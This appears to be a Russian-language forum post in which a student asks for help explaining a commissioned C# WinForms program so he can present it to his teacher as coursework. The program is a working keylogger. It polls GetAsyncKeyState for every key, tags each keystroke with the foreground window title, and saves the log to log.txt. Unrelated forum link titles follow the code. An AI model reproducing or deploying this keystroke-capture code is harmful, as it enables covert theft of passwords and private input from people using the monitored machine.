Саму программу я заказал мне её сделали и дали код, но если препод спросит нужно объяснить что делает какая либо строка. Программа для слежение за действиями в ПК. Программа была создана по теме Безопасности сети на базе Windows для конкретного предприятия.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
namespace WindowsFormsApplication5
{
public partial class Form1 : Form
{
String u = "";
public Form1()
{
InitializeComponent();
}
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
static extern int GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(int hWnd, StringBuilder text, int count);
private void Form1_Load(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
timer1.Enabled = true;
}
private void timer1_Tick(object sender, EventArgs e)
{
Class1 cl = new Class1();
const int nChars = 256;
int handle = 0;
StringBuilder Buff = new StringBuilder(nChars);
String t="";
handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0)
{
t=(Buff.ToString());
//IDWindowLabel.Text = handle.ToString();
}
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
if (t == u)
{
textBox1.Text = textBox1.Text + cl.tx((((Keys)i).ToString()));
}
else
{
textBox1.Text = textBox1.Text+"\n"+ "\n" + t+" : "+ cl.tx((((Keys)i).ToString()));
u = t;
}
}
}
}
private void button2_Click(object sender, EventArgs e)
{
}
private void timer2_Tick(object sender, EventArgs e)
{
File.Delete(Application.StartupPath + @"\log.txt");
using (System.IO.StreamWriter file = new System.IO.StreamWriter(Application.StartupPath + @"\log.txt", true))
{
file.WriteLine(textBox1.Text);
}
}
}
}
Фрилансер или Digital-агентство - Как сделать правильный выбор?
Есть у меня форма на стороне клиента с двумя выпадющими меню, он там выбирает год и тип обложки
C# WinFormThread запускается и работает, но блокирует все элементы формы
На данный вопрос уже ответили: